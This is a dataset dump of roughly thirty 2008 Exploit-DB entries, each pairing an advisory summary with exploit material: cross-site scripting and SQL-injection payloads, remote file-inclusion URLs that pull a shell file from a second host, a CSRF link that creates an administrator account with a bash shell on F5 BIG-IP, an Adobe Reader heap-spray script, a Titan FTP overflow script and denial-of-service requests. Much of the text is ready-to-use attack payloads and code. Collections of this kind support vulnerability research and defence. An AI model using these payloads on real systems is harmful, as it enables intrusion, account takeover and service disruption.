QLWD/code_shield huggingface dataset:
标题: Opium OPI Server and CyanPrintIP - Format String / Denial of Service EDB-ID: 31148 CVE: 2008-0755 类型: DOS 平台: MULTIPLE 发布日期: 2008-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/27734/info

Opium OPI Server and CyanPrintIP are prone to a denial-of-service vulnerability and a format-string vulnerability.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

These issues affect the following products:

Opium OPI Server 4.10.1028 and prior
cyanPrintIP Easy OPI 4.10.1028 and prior
cyanPrintIP Professional 4.10.1030 and prior
cyanPrintIP Workstation 4.10.936 and prior
cyanPrintIP Standard 4.10.940 and prior
cyanPrintIP Basic 4.10.1030 and prior

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31148.zip URL: https://www.exploit-db.com/exploits/31148
标题: Group Logic ExtremeZ-IP File and Print Servers 5.1.2 x15 - Multiple Vulnerabilities EDB-ID: 31132 CVE: 2008-0767 类型: REMOTE 平台: HARDWARE 发布日期: 2008-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/27718/info

ExtremeZ-IP File and Print servers are prone to multiple vulnerabilities including denial-of-service and information-disclosure issues.

Attackers can exploit these issues to cause denial-of-service conditions or to obtain potentially sensitive information.

These issues affect versions prior to ExtremeZ-IP File Server 5.1.2x15 and ExtremeZ-IP Print Server 5.1.2x15. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31132.zip URL: https://www.exploit-db.com/exploits/31132
标题: F5 BIG-IP 9.4.3 - Web Management Interface Cross-Site Request Forgery EDB-ID: 31133 CVE: 2008-7032 类型: REMOTE 平台: HARDWARE 发布日期: 2008-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/27720/info

F5 BIG-IP is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to execute arbitrary actions on an affected device.

F5 BIG-IP 9.4.3 is vulnerable; other versions may also be affected. 

https://www.example.com/tmui/Control/form?handler=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe&handler_before=&form_page=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe.jsp%3F&form_page_before=&bigpipe_output=&bigpipe_cmd_validation=NO_VALIDATION&bigpipe_cmd_before=&bigpipe_cmd=user+testuser+password+none+testpwd+shell+%2Fbin%2Fbash+role+administrator+in+all URL: https://www.exploit-db.com/exploits/31133
标题: Apache Tomcat 6.0.15 - Cookie Quote Handling Remote Information Disclosure EDB-ID: 31130 CVE: 2007-5333 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/27706/info

Apache Tomcat is prone to an information-disclosure vulnerability because it fails to adequately sanitize user-supplied data.

Attackers can exploit this issue to access potentially sensitive data that may aid in further attacks.

Versions prior to Apache Tomcat 6.0.16 and 5.5.26 are vulnerable.

NOTE: This vulnerability is caused by an incomplete fix for BID 25316 - Apache Tomcat Multiple Remote Information Disclosure Vulnerabilities (CVE-2007-3385).

+++
GET /myapp/MyCookies HTTP/1.1
Host: localhost
Cookie: name="val " ue"
Cookie: name1=moi
+++

http://www.example.com/examples/servlets/servlet/CookieExample?cookiename=test&cookievalue=test%5c%5c%22%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%
3B+Path%3D%2Fservlets-examples%2Fservlet+%3B URL: https://www.exploit-db.com/exploits/31130
标题: VWar 1.5 - 'calendar.php' SQL Injection EDB-ID: 31134 CVE: 2008-0753 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/27722/info

VWar is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

VWar 1.5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/vwar/calendar.php?month=[SQL] URL: https://www.exploit-db.com/exploits/31134
标题: Ipswitch Instant Messaging 2.0.8.1 - Multiple Vulnerabilities EDB-ID: 31122 CVE: 2008-0944 类型: DOS 平台: WINDOWS 发布日期: 2008-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/27677/info

Ipswitch Instant Messaging is prone to multiple security vulnerabilities, including a denial-of-service vulnerability, a format-string vulnerability, and a vulnerability that allows attackers to overwrite arbitrary files.

Attackers can exploit these issues to execute arbitrary code, cause denial-of-service conditions, or overwrite files with arbitrary content.

These issues affect Ipswitch Instant Messaging 2.0.8.1; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31122.zip URL: https://www.exploit-db.com/exploits/31122
标题: Managed Workplace Service Center 4.x/5.x/6.x - Installation Information Disclosure EDB-ID: 31129 CVE: 2008-0636 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/27702/info

Managed Workplace Service Center is prone to an information-disclosure vulnerability because the application fails to protect private information.

Attackers may exploit this issue to retrieve sensitive information that may aid in further attacks.

http://www.example.com/About/SC_About.htm URL: https://www.exploit-db.com/exploits/31129
标题: Calimero.CMS 3.3 - 'id' Cross-Site Scripting EDB-ID: 31124 CVE: 2008-0749 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/27690/info

Calimero.CMS is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Calimero.CMS 3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?class=calimero_webpage&id="><script>alert(/vulnxss/)</script> URL: https://www.exploit-db.com/exploits/31124
标题: IEA Software (Multiple Products) - POST Denial of Service EDB-ID: 31128 CVE: 2008-5284 类型: DOS 平台: MULTIPLE 发布日期: 2008-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/27701/info

Multiple IEA Software products are prone to a denial-of-service vulnerability.

Successfully exploiting this issue will allow attackers to crash the affected application, denying service to legitimate users.

This issue affects the following applications:

- Emerald 5.0.49 and prior versions
- RadiusNT and RadiusX 5.1.38 and prior versions
- Radius test client 4.0.20 and prior versions
- Air Marshal 2.0.4 and prior versions 

The following proof-of-concept exploit code is available:

POST / HTTP/1.0
Host: localhost
Content-Length: 2147483647 URL: https://www.exploit-db.com/exploits/31128
标题: MODx 0.9.6 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31120 CVE: 2008-7242 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/27672/info

MODx is prone to an HTML-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

MODx 0.9.6.1 and 0.9.6.1p1 are vulnerable; other versions may also be affected. 

http://www.example.com/[installdir]/manager/index.php?a=75&search="><IMG 
SRC="javascript:alert(&#039;DSecRG XSS&#039;)
http://www.example.com/[installdir]/manager/index.php?a=84&search="><IMG 
SRC="javascript:alert(&#039;DSecRG XSS&#039;) 
http://www.example.com/[installdir]/index.php?searched=modx&highlight="><IMG 
SRC="javascript:alert(&#039;DSecRG XSS&#039;) 
http://www.example.com/[installdir]/manager/index.php?a=&#039;<img 
src="javascript:alert(&#039;DSecRG XSS&#039;)"> URL: https://www.exploit-db.com/exploits/31120
标题: S9Y Serendipity Freetag-plugin 2.95 - 'style' Cross-Site Scripting EDB-ID: 31126 CVE: 2008-0751 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/27697/info

Serendipity Freetag-plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Serendipity Freetag-plugin 2.95; prior versions may also be affected. 

http://www.example.com/plugin/tag/%3Cdiv%20style=[XSS] URL: https://www.exploit-db.com/exploits/31126
标题: Joovili 2.1 - 'members_help.php' Remote File Inclusion EDB-ID: 31125 CVE: 2008-0743 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/27693/info

Joovili is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Joovili 2.1 is vulnerable; other versions may also be affected.

http://www.example.com/members_help.php?hlp=http://www.example2.com/shell.txt? URL: https://www.exploit-db.com/exploits/31125
标题: TinTin++ / WinTin++ 1.97.9 - '#chat' Multiple Vulnerabilities EDB-ID: 31119 CVE: 2008-0671 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/27660/info

TinTin++ and WinTin++ are prone to multiple security vulnerabilities affecting the application's '#chat' functionality. These issues include a buffer-overflow vulnerability, a denial-of-service vulnerability, and a file-overwrite vulnerability.

Attackers can exploit these issues to execute arbitrary code, cause denial-of-service conditions, or overwrite files with arbitrary content.

These issues affect TinTin++ and WinTin++ 1.97.9; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31119.tar.gz URL: https://www.exploit-db.com/exploits/31119
标题: Ipswitch WS_FTP Server 6 - '/WSFTPSVR/FTPLogServer/LogViewer.asp' Authentication Bypass EDB-ID: 31117 CVE: 2008-5692 类型: WEBAPPS 平台: ASP 发布日期: 2008-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/27654/info

WS_FTP Server Manager is prone to an authentication-bypass vulnerability and an information-disclosure vulnerability.

An attacker can exploit these issues to gain unauthorized access to the affected application and gain access to potentially sensitive information.

These issues affect WS_FTP Server Manager 6.1.0.0; prior versions may also be affected. 

http://www.example.com/WSFTPSVR/FTPLogServer/LogViewer.asp URL: https://www.exploit-db.com/exploits/31117
标题: Portail Web PHP 2.5.1 - 'conf_modules.php' Remote File Inclusion EDB-ID: 31109 CVE: 2008-0645 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27616/info
  
Portail Web Php is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
These issues affect Portail Web Php 2.5.1.1; other versions may also be affected. 

http://www.example.com/path/admin/system/modules/conf_modules.php?site_path=http://www.example2.com URL: https://www.exploit-db.com/exploits/31109
标题: Adobe Acrobat and Reader 8.1.1 - Multiple Arbitrary Code Execution / Security Vulnerabilities EDB-ID: 31114 CVE: 2007-5659 类型: DOS 平台: WINDOWS 发布日期: 2008-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/27641/info

Adobe Acrobat and Reader are prone to multiple arbitrary remote code-execution and security vulnerabilities.

Attackers can exploit these issues to execute arbitrary code in the context of the user running the affected application. Other attacks are also possible.

Versions prior to Adobe Acrobat and Adobe Reader 8.1.2 are vulnerable to these issues. 

function repeat(count,what) {
   var v = "";
   while (--count >= 0) v += what;
   return v;
}
function heapspray(shellcode) {
   block='';
   fillblock = unescape("%u9090");
   while(block.length+20+shellcode.length<0x40000) 
      block = block+block+fillblock;
   arr = new Array();
   for (i=0;i<200;i++) arr[i]=block + shellcode;
}

heapspray(unescape(“%ucccc%ucccc”));
Collab.collectEmailInfo({
   msg:repeat(4096, unescape("%u0909%u0909"))}); URL: https://www.exploit-db.com/exploits/31114
标题: MyNews 1.6.x - 'hash' Cross-Site Scripting EDB-ID: 31115 CVE: 2008-0723 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/27652/info

MyNews is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MyNews 1.6.4 and prior versions are vulnerable.

http://www.example.com/index.php?hash="><iframe src=http://www.example2.com/ height=500px width=500px></iframe><!--&do=admin http://www.example.com/index.php?hash="><script>alert(1337);</script><!--&do=admin URL: https://www.exploit-db.com/exploits/31115
标题: Portail Web PHP 2.5.1 - 'login.php' Remote File Inclusion EDB-ID: 31110 CVE: 2008-0645 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27616/info
   
Portail Web Php is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
These issues affect Portail Web Php 2.5.1.1; other versions may also be affected. 

http://www.example.com/path/system/login.php?site_path=http://www.example2.com URL: https://www.exploit-db.com/exploits/31110
标题: Titan FTP Server 6.05 build 550 - 'DELE' Remote Buffer Overflow (PoC) EDB-ID: 31105 CVE: 2008-5281 类型: DOS 平台: WINDOWS 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27611/info

Titan FTP Server is prone to a remote buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker may exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial of service.

This issue affects Titan FTP Server 6.05 build 550; other versions may also be vulnerable. 

#!/usr/bin/python
#
# First of all, thanks to my wife Edita.
#
# Heap overflow in Titan FTP Server version 6.05 build 550
# (DELE ) - probably other commands are vulnerable too
# PoC tested on WinXP sp1
# EAX and ESI are overwritten with 41414141 and 44444444
#
# Greetz to muts, m1k1, bolexxx
# and crew from offsec, remote-exploit.org, Cedes.ba, Itas and Cikom :)
#
# Coded by Muris Kurgas a.k.a j0rgan < muris [at] cg [dot] yu >


import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "\nSaljem zli bafer..."
buffer = '\x90' * 20519 + "A" * 4  + "D" * 4 + "B" * 55000
s.connect(('192.168.1.9',21))
data = s.recv(1024)
s.send('USER ftp' +'\r\n')
data = s.recv(1024)
s.send('PASS ftp' +'\r\n')
data = s.recv(1024)
print "\nBum! Bum! Bum! :)"
s.send('DELE ' +buffer+'\r\n')
s.close()


be safe,
j0rgan URL: https://www.exploit-db.com/exploits/31105
标题: AstroSoft HelpDesk - '/operator/article/article_attachment.asp?Attach_Id' Cross-Site Scripting EDB-ID: 31104 CVE: 2008-0605 类型: WEBAPPS 平台: ASP 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27610/info
 
AstroSoft HelpDesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/[installdir]/operator/article/article_attachment.asp?Attach_Id="<script>alert(&#039;DSecRG XSS&#039;)</script> URL: https://www.exploit-db.com/exploits/31104
标题: DevTracker Module For bcoos 1.1.11 and E-xoops 1.0.8 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31112 CVE: 2008-7036 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27619/info

DevTracker module for bcoos and E-xoops is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect the following versions:

bcoos 1.1.11 (and earlier) with DevTracker 3.0
E-xoops 1.0.8 (and earlier) with DevTracker v0.20

Other versions may also be vulnerable. 

http://www.example.com/modules/devtracker/index.php?proj_id=1&order_by=priority&direction=ASCquot;><script>alert()</script> 
http://www.example.com/modules/devtracker/index.php?proj_id=1&order_by=priorityquot;><script>alert()</script>&direction=ASC URL: https://www.exploit-db.com/exploits/31112
标题: Pagetool 1.07 - 'search_term' Cross-Site Scripting EDB-ID: 31116 CVE: 2008-0722 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/27653/info

Pagetool is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Pagetool 1.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/index.php?name=pagetool_search&search_term=[XSS] URL: https://www.exploit-db.com/exploits/31116
标题: Portail Web PHP 2.5.1 - 'item.php' Remote File Inclusion EDB-ID: 31108 CVE: 2008-0645 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27616/info
 
Portail Web Php is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
These issues affect Portail Web Php 2.5.1.1; other versions may also be affected. 

http://www.example.com/path/admin/system/menu/item.php?site_path=http://www.example2.com URL: https://www.exploit-db.com/exploits/31108
标题: Portail Web PHP 2.5.1 - 'conf-activation.php' Remote File Inclusion EDB-ID: 31107 CVE: 2008-0645 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27616/info

Portail Web Php is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Portail Web Php 2.5.1.1; other versions may also be affected. 

http://www.example.com/path/admin/system/config/conf-activation.php?site_path=http://www.example2.com URL: https://www.exploit-db.com/exploits/31107
标题: WinComLPD Total 3.0.2.623 - Remote Buffer Overflow / Authentication Bypass EDB-ID: 31106 CVE: 2008-5159 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27614/info

WinComLPD Total is prone to multiple vulnerabilities, including buffer-overflow vulnerabilities and an authentication-bypass vulnerability.

Successfully exploiting these issues will allow an attacker to perform unauthorized actions or execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will likely crash the application.

These issues affect WinComLPD Total 3.0.2.623; other versions may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31106.zip URL: https://www.exploit-db.com/exploits/31106
标题: AstroSoft HelpDesk - '/operator/article/article_search_results.asp?txtSearch' Cross-Site Scripting EDB-ID: 31103 CVE: 2008-0605 类型: WEBAPPS 平台: ASP 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27610/info

AstroSoft HelpDesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/[installdir]/operator/article/article_search_results.asp?txtSearch="></form><IMG SRC=javascript:alert(&#039;DSecRG XSS&#039;)>" URL: https://www.exploit-db.com/exploits/31103
标题: Simple OS CMS 0.1c_beta - 'login.php' SQL Injection EDB-ID: 31098 CVE: 2008-0650 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27589/info

Simple OS CMS is prone to an SQL-injection vulnerability because it fails to adequately sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Simple OS CMS 0.1c beta is vulnerable; other versions may also be affected. 

The following exploit information is available:

Passing:

username: admin' or 1=1/*
password: something


will bypass the authentication process. URL: https://www.exploit-db.com/exploits/31098
标题: Anon Proxy Server 0.100/0.102 - Remote Authentication Buffer Overflow EDB-ID: 31100 CVE: 2008-0633 类型: DOS 平台: MULTIPLE 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27593/info

Anon Proxy Server is prone to a remote buffer-overflow vulnerability because the application fails to sufficiently bounds-check user-supplied input.

Successful exploits allow remote attackers to execute arbitrary code in the context of the vulnerable application, facilitating the compromise of affected computers.

Versions prior to Anon Proxy Server 0.103 are vulnerable to this issue. 

print "A" x 430 . '"' x 29 . "A" x 40 . "\n" URL: https://www.exploit-db.com/exploits/31100
标题: ITechClassifieds - 'viewcat.php?CatID' Cross-Site Scripting EDB-ID: 31094 CVE: 2008-0684 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/27574/info
 
iTechClassifieds is prone to an input-validation vulnerability that may be exploited as a cross-site scripting issue or an SQL-injection issue. This issue occurs because the application fails to adequately sanitize user-supplied input.
 
A successful exploit may allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/ViewCat.php?CatID=[XSS] URL: https://www.exploit-db.com/exploits/31094